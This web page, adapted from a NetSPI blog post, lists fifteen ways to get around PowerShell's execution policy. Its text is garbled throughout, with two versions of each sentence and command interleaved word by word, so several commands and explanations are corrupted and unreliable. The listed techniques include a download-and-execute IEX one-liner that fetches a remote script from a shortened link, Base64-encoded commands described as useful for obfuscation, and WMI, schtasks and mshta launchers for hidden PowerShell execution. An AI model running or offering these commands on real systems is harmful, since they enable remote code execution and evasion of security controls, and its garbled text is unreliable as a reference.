Skip to main content

Bypass the PowerShell Execution Policy

💻 15 Ways to Bypass the PowerShell Execution Policy

Author: Scott Sutherland (summarized & adapted)
Source:Original: NetSPI Blog

🧠 Introduction

PowerShell’PowerShell's execution policy is a safety feature designed to prevent theunauthorized unintendedor executionaccidental ofscript scripts.execution. However, there are many legitimate reasons to work around it — especially during penetration tests ortesting, red team operations,exercises, youor mayautomation. needBelow are 15 common methods to bypass thisthe restrictionpolicy, —with without administrative privileges.explanations.

🔐 Bypass Techniques Explained

  1. 1. Paste intoScript InteractiveDirectly in Console
    Open a PowerShell consoleonly andapplies execution policy to script files. If you paste code directly into the scriptconsole, directly.it Executionbypasses policy isrestrictions not enforced line-by-line.entirely.
  2. Echo and2. Pipe Script to PowerShell
    You can echo the script and pipe it to PowerShell’s standard input: 
    echo Write-Host "My voice is my passport, verify me."Hello" | powershell -noprofile -
    This avoids the need for saving the script to disk.
  3. Pipe3. Read Script File Contentsand Pipe to PowerShell
    This loads a script from disk and pipes it in: 
    Get-Content .\runme.script.ps1 | powershell -noprofile -
    typeExecution .\runme.ps1policy |is powershellnot -noprofileenforced -
    when the script is read as input.
  4. 4. Download and Execute viain IEXMemory
    Common in red teaming, this downloads and executes the script directly: 
    powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH'example.com/script.ps1')"
    This avoids writing anything to disk.
  5. 5. Use the -Command ParameterArgument
    Scripts passed via the `-command` flag are evaluated like pasted input: 
    powershell -command "Write-Host 'Execution policy? What policy?Bypassed!'"
  6. 6. Use -EncodedCommand
    EncodeScripts yourcan scriptbe intoencoded in Base64 and passpassed it:to PowerShell: 
    
$command = "Write-Host 'Execution policy? What policy?'Hello'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommandencoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encodedCommandencoded
    Useful for obfuscation and policy bypass.
  7. 7. Set Policy via Group Policy or Registry
    If you have access, change the execution policy via: 
    Set-ExecutionPolicy Bypass -Scope Process
    Or modify registry keys like `HKLM:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell`.
  8. 8. Use ISE (Integrated Scripting Environment)
    ISE sometimes behaves differently and may allow execution: 
    powershell_ise.exe script.ps1
  9. 9. Change File Extension
    Rename `.ps1` to `.txt` and read it into memory inside another script. This avoids detection and enforcement.
  10. 10. Use WMI to Launch Script
    PowerShell can be run via WMI methods that bypass policies: 
    Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -nop -enc ..."
  11. 11. Use Task Scheduler
    Create a scheduled task that runs your PowerShell script. The execution policy isn't enforced in the same way: 
    schtasks /create /tn bypass /tr "powershell.exe -File script.ps1" /sc once /st 00:00
  12. 12. Use WinRM or PS Remoting
    When executing scripts remotely, policies on the target system may not apply, especially if executed as commands: 
    Invoke-Command -ScriptBlock {Write-Host "Hello"} -ComputerName target
  13. 13. Use DLL Injection or Reflective PE
    Advanced method: Inject PowerShell into memory via custom DLL or PE loader. Used by tools like PowerShell Empire.
  14. 14. Use Alternate Shells (e.g., MSHTA, wscript)
    Launch PowerShell indirectly from other interpreters: 
    mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -enc ..."":close")
  15. 15. Exploit Software That Invokes PowerShell
    Some tools like MSBuild, Excel macros, or installer frameworks may invoke PowerShell — which you can hijack.
  • Most

    These methods don’t require admin rights.

  • These are helpfulintended for pentesting,authorized scripting,security orassessments, whenresearch, group policy interferes with legitimateand automation.
  • EnsureUse you'reresponsibly complyingand withwithin the bounds of local policieslaws and lawsorganizational when using these techniques.
policy.

Last mirroredadapted from NetSPI: https://www.netspi.com/blog/...

Back to top